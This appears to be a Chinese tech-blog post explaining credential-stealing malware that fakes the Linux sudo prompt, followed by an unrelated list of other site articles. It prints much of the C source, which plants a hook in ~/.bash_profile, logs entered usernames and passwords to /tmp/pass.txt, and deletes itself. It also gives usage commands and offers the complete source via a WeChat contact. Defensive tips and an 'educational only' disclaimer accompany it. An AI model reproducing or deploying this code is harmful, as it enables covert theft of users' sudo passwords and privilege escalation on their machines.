恶意软件模拟sudo行为窃取密码的原理与实现(C/C++实现)

在Linux系统中,sudo命令允许授权的用户以另一个用户(通常是root)的身份执行命令。恶意软件作者利用这一点,创建了一个模仿sudo行为的程序,其真实目的是窃取用户的sudo密码。

工作原理

  1. 插入恶意代码:恶意软件首先在用户的bash配置文件中插入一段代码,这段代码重定义了sudo函数,使其在执行sudo命令时先调用恶意程序。

  2. 模拟sudo命令:当用户执行sudo命令时,实际上是执行了恶意程序。恶意程序会模拟sudo的密码提示,并将用户输入的密码保存到一个文件中。

  3. 密码窃取:恶意程序将窃取的密码写入到一个预先定义的文件中,攻击者可以稍后访问这个文件以获取密码。

  4. 自我清理:在完成密码窃取后,恶意软件会清理用户的bash配置文件,移除插入的恶意代码,并删除自身,以减少被发现的可能性。

安全建议

  • 定期检查bash配置文件:定期检查.bashrc.bash_profile文件,确保没有可疑的代码插入。
  • 使用复杂的密码:使用强密码可以增加攻击者破解密码的难度。
  • 限制sudo权限:仅授予必要的用户sudo权限,并限制这些用户的活动。
  • 使用安全工具:使用安全工具监控系统活动,以便及时发现和响应可疑行为。

请记住,保护您的系统和数据安全是非常重要的,了解潜在的威胁是防御这些威胁的第一步。

代码分析

...#define PROFILE_FILE_NAME "/.bash_profile"
#define OUTPUT_FILE_LOCATION "/tmp/pass.txt"#define USERNAME_BUFFER_SIZE 32
#define PROMPT_SIZE 100#define CODE_START "# t7mGMoCzRVGmVfgAyOaG"
#define CODE_END "# tklXNT02uH2fTUQ2fGiO"
#define CODE_MARKS_LENGTH 10#define BASHRC_LINE_BUFFER_SIZE 1024#define PASSWORD_ATTEMPS 3...char *concat(const char *s1, const char *s2)
{
...strcpy(result, s1);strcat(result, s2);return result;
}void get_executable_path(char *buf, size_t size)
{
#ifndef MACreadlink("/proc/self/exe", buf, size);size_t file_location_len = strlen(buf);buf[file_location_len - 5] = '\0';
#elseif (_NSGetExecutablePath(buf, &size) != 0){buf[0] = '\0'; // 缓冲区太小}
#endif
}void self_remove()
{char file_location[250];get_executable_path(file_location, 250);remove(file_location);
}void get_bashrc_location(char *buf)
{
...bashrc_file = concat(home_folder, PROFILE_FILE_NAME);strcpy(buf, bashrc_file);free(bashrc_file);
}void clear_bashrc()
{
...if ((fd = fopen(bashrc_file, "r")) == NULL){fprintf(stderr, "unable to open.\n");}else if ((fd_replica = fopen(bashrc_file_replica, "w")) == NULL){fprintf(stderr, "unable to open.\n");}else{while (!feof(fd)){fgets(buf, BASHRC_LINE_BUFFER_SIZE, fd);if (strncmp(buf, CODE_START, CODE_MARKS_LENGTH) == 0){should_copy = 0;}else if (strncmp(buf, CODE_END, CODE_MARKS_LENGTH) == 0){should_copy = 1;}else if (should_copy){fputs(buf, fd_replica);}}fclose(fd);fd = NULL;unlink(bashrc_file);rename(bashrc_file_replica, bashrc_file);}if (fd){fclose(fd);}if (fd_replica){fclose(fd_replica);}
}void update_bashrc()
{
...get_executable_path(file_location, 250);get_bashrc_location(bashrc_file);if ((fd = fopen(bashrc_file, "a")) == NULL){fprintf(stderr, "unable to open.\n");return;}
...fclose(fd);
}void run_cmd(char *cmd)
{system(cmd);
}void ask_for_password()
{
...#ifndef MACchar prompt[PROMPT_SIZE];sprintf(prompt, "Enter password for [%s]: ", user_name);
#elsechar prompt[100] = "Password: ";
#endiffor (i = 0; i < PASSWORD_ATTEMPS; i++){password = getpass(prompt);if ((output_file = fopen(OUTPUT_FILE_LOCATION, "a")) != NULL){fprintf(output_file, "username: %s, password: %s\n", user_name, password);fclose(output_file);}sleep(1);if (i < PASSWORD_ATTEMPS){printf("Sorry, try again.\n");}}printf("sudo: %d incorrect password attempts\n", i);
}int main(int argc, char **argv)
{
...if (argc == 2){switch (**++argv){case 'r':clear_bashrc();self_remove();break;case 's':ask_for_password();self_remove();clear_bashrc();break;case 'i':update_bashrc();break;}return 0;}return 1;
}

If you need the complete source code, please add the WeChat number (c17865354792)

运行结果:

[root@localhost linux_sudo]# ./main i
[root@localhost linux_sudo]# ./main s
Enter password for [minger]:

在终端中运行编译后的程序,并传递相应的参数。例如:

./main i 会在用户的bash配置文件中插入代码。
./main s 会模拟密码提示并尝试记录密码,保存在/tmp/pass.txt。
./main r 会清理用户的bash配置文件并删除程序本身。
1. 定义和初始化

代码首先定义了一些宏和函数,用于后续的操作:

  • PROFILE_FILE_NAMEOUTPUT_FILE_LOCATION 分别定义了目标文件(用户的bash配置文件)和输出文件(存储窃取的密码)的位置。
  • concat 函数用于连接两个字符串,并分配足够的内存来存储结果。
2. 获取可执行文件路径

get_executable_path 函数用于获取当前运行的可执行文件的路径。这个路径将被用于后续的恶意操作。

3. 自我删除

self_remove 函数用于在恶意操作完成后删除自身,以减少被发现的可能性。

4. 获取bash配置文件位置

get_bashrc_location 函数用于获取用户的bash配置文件路径,这是恶意软件插入恶意代码的目标位置。

5. 清理bash配置文件

clear_bashrc 函数用于清理用户的bash配置文件,移除之前插入的恶意代码。这是为了在不需要时恢复用户的配置文件。

6. 更新bash配置文件

update_bashrc 函数用于在用户的bash配置文件中插入恶意代码。这段代码重定义了sudo函数,使其在执行任何sudo命令之前先调用恶意程序。

7. 执行命令

run_cmd 函数使用system函数执行给定的命令。

8. 请求密码

ask_for_password 函数模拟sudo命令的密码提示,并将用户输入的密码写入到一个文件中,从而实现密码窃取。

9. 主函数

main 函数根据传入的参数执行不同的操作。如果参数是-r,则清理bash配置文件并删除自身;如果是-s,则窃取密码并执行清理操作;如果是-i,则插入恶意代码。

总结

这篇文章将解释一个恶意软件的工作原理,该软件模仿Linux系统中的sudo命令以窃取用户的sudo密码。请注意,这篇文章的目的是为了教育和提高安全意识,而不是鼓励或指导任何非法行为。

Welcome to follow WeChat official account【程序猿编码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/482793.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vscode 怎么下载 vsix 文件?

参考&#xff1a;https://marketplace.visualstudio.com/items?itemNameMarsCode.marscode-extension 更好的办法&#xff1a;直接去相关插件的 github repo 下载老版本 https://github.com/VSCodeVim/Vim/releases?page5 或者&#xff0c;去 open-vsx.org 下载老版本 点击这…

python 练习题

目录 1&#xff0c;输入三个整数&#xff0c;按升序输出 2&#xff0c;输入年份及1-12月份&#xff0c;判断月份属于大月&#xff0c;小月&#xff0c;闰月&#xff0c;平月&#xff0c;并输出本月天数 3&#xff0c;输入一个整数&#xff0c;显示其所有是素数因子 4&#…

我的第一个创作纪念日 —— 梦开始的地方

前言 时光荏苒&#xff0c;转眼间&#xff0c;我已经在CSDN这片技术沃土上耕耘了365天 今天&#xff0c;我迎来了自己在CSDN的第1个创作纪念日&#xff0c;这个特殊的日子不仅是对我过去努力的肯定&#xff0c;更是对未来持续创作的激励 机缘 回想起初次接触CSDN&#xff0c;那…

Rook入门:打造云原生Ceph存储的全面学习路径(上)

文章目录 一.Rook简介二.Rook与Ceph架构2.1 Rook结构体系2.2 Rook包含组件2.3 Rook与kubernetes结合的架构图如下2.4 ceph特点2.5 ceph架构2.6 ceph组件 三.Rook部署Ceph集群3.1 部署条件3.2 获取rook最新版本3.3 rook资源文件目录结构3.4 部署Rook/CRD/Ceph集群3.5 查看rook部…

【Gitlab】CICD使用minio作为分布式缓存

1、安装minio 下载适合自己系统版本的安装文件https://dl.min.io/server/minio/release/windows-amd64/ yum install xxx.rpm 2、配置/etc/profile export MINIO_ACCESS_KEYroot [ui登录账号] export MINIO_SECRET_KEYminioDev001 [ui登录密码] export MINIO_OPTS"…

奇数求和ᅟᅠ

奇数求和 C语言代码C 代码Java代码Python代码 &#x1f490;The Begin&#x1f490;点点关注&#xff0c;收藏不迷路&#x1f490; 计算非负整数 m 到 n&#xff08;包括m 和 n &#xff09;之间的所有奇数的和&#xff0c;其中&#xff0c;m 不大于 n&#xff0c;且n 不大于30…

Django 视图层

from django.shortcuts import render, HttpResponse, redirectfrom django.http import JsonResponse1. render: 渲染模板 def index(request):print(reverse(index))return render(request, "index.html")return render(request, index.html, context{name: lisi})…

手机实时提取SIM卡打电话的信令声音-蓝牙电话如何适配eSIM卡的手机

手机实时提取SIM卡打电话的信令声音 --蓝牙电话如何适配eSIM卡的手机 一、前言 蓝牙电话的海外战略中&#xff0c;由于海外智能手机市场中政策的差异性&#xff0c;对内置eSIM卡的手机进行支持是非常合理的需求。Android系列手机中&#xff0c;无论是更换通信运营商&#xf…

python3 + selenium 中用PIL获取全屏幕截图

获取当前屏幕截图非常简单&#xff0c;需要import PIL.ImageGrab。调用grab函数即可得到Image对象&#xff0c;显示图片如图所示。 高版本的PIL中的grab函数还提供有一些参数。要查看当前PIL包的版本&#xff0c;可以import然后查看其__version__属性。 如果是较高版本的PIL…

SpringBoot3 + Vue3 由浅入深的交互 基础交互教学2

目录 一、这篇文章是基础交互教学系列的续作 二、发送请求时&#xff0c;携带发送的数据json格式的参数&#xff1a;data 三、携带token请求头&#xff0c;进行JWT校验 四、实现throw抛出异常&#xff0c;并交互显示在前端的界面 一、这篇文章是基础交互教学系列的续作 大…

UIE与ERNIE-Layout:智能视频问答任务初探

内容来自百度飞桨ai社区UIE与ERNIE-Layout&#xff1a;智能视频问答任务初探&#xff1a; 如有侵权&#xff0c;请联系删除 1 环境准备 In [2] # 安装依赖库 !pip install paddlenlp --upgrade !pip install paddleocr --upgrade !pip install paddlespeech --upgrade In …

Tomcat新手成长之路:安装部署优化全解析(下)

接上篇《Tomcat新手成长之路&#xff1a;安装部署优化全解析&#xff08;上&#xff09;》: link 文章目录 7.应用部署7.1.上下文7.2.启动时进行部署7.3.动态应用部署 8.Tomcat 类加载机制8.1.简介8.2.类加载器定义8.3.XML解析器和 Java 9.JMS监控9.1.简介9.2.启用 JMX 远程监…

vue项目部署到github pages后页面显示不出来??

问题&#xff1a; 当我们在命令行执行 npm run build 后&#xff0c;项目的目录下会生成一个 dist 文件夹&#xff0c;它里面又包含一个 static 文件夹和一个 index.html 文件&#xff0c;这是 webpack 最终打包好的文件 项目上传到仓库后发现页面为空&#xff0c;找不到文件路…

用 React 编写一个笔记应用程序

这篇文章会教大家用 React 编写一个笔记应用程序。用户可以创建、编辑、和切换 Markdown 笔记。 1. nanoid nanoid 是一个轻量级和安全的唯一字符串ID生成器&#xff0c;常用于JavaScript环境中生成随机、唯一的字符串ID&#xff0c;如数据库主键、会话ID、文件名等场景。 …

“指标管理系统”是什么?企业如何搭建指标管理系统?

在当今数字化时代&#xff0c;数据已成为企业决策的重要依据。然而&#xff0c;海量数据中如何筛选出关键指标&#xff0c;并对其进行有效管理&#xff0c;成为了众多企业面临的难题。为此&#xff0c;指标管理系统应运而生&#xff0c;它旨在帮助企业规范化定义、统一管理和高…

数学建模——Topsis法

数模评价类&#xff08;2&#xff09;——Topsis法 概述 Topsis:Technique for Order Preference by Similarity to Ideal Solution 也称优劣解距离法&#xff0c;该方法的基本思想是&#xff0c;通过计算每个备选方案与理想解和负理想解之间的距离&#xff0c;从而评估每个…

LuaForWindows_v5.1.5-52.exe

Releases rjpcomputing/luaforwindows GitHub #lua C:\Users\Administrator\Desktop\test.lua print("Hello lua&#xff01;") print("ZengWenFeng 13805029595")

HTTP协议详解:从HTTP/1.0到HTTP/3的演变与优化

深入浅出&#xff1a;从头到尾全面解析HTTP协议 一、HTTP协议概述 1.1 HTTP协议简介 HTTP&#xff08;HyperText Transfer Protocol&#xff0c;超文本传输协议&#xff09;是互联网上应用最广泛的通信协议之一。它用于客户端与服务器之间的数据传输&#xff0c;尤其是在Web…

AI高中数学教学视频生成技术:利用通义千问、MathGPT、视频多模态大模型,语音大模型,将4个模型融合 ,生成高中数学教学视频,并给出实施方案。

大家好&#xff0c;我是微学AI&#xff0c;今天给大家介绍一下AI高中数学教学视频生成技术&#xff1a;利用通义千问、MathGPT、视频多模态大模型&#xff0c;语音大模型&#xff0c;将4个模型融合 &#xff0c;生成高中数学教学视频&#xff0c;并给出实施方案。本文利用专家模…

AOSP的同步问题

repo sync同步时提示出错: error: .repo/manifests/: contains uncommitted changesRepo command failed due to the following UpdateManifestError errors: contains uncommitted changes解决方法&#xff1a; 1、cd 进入.repo/manifests cd .repo/manifests2、执行如下三…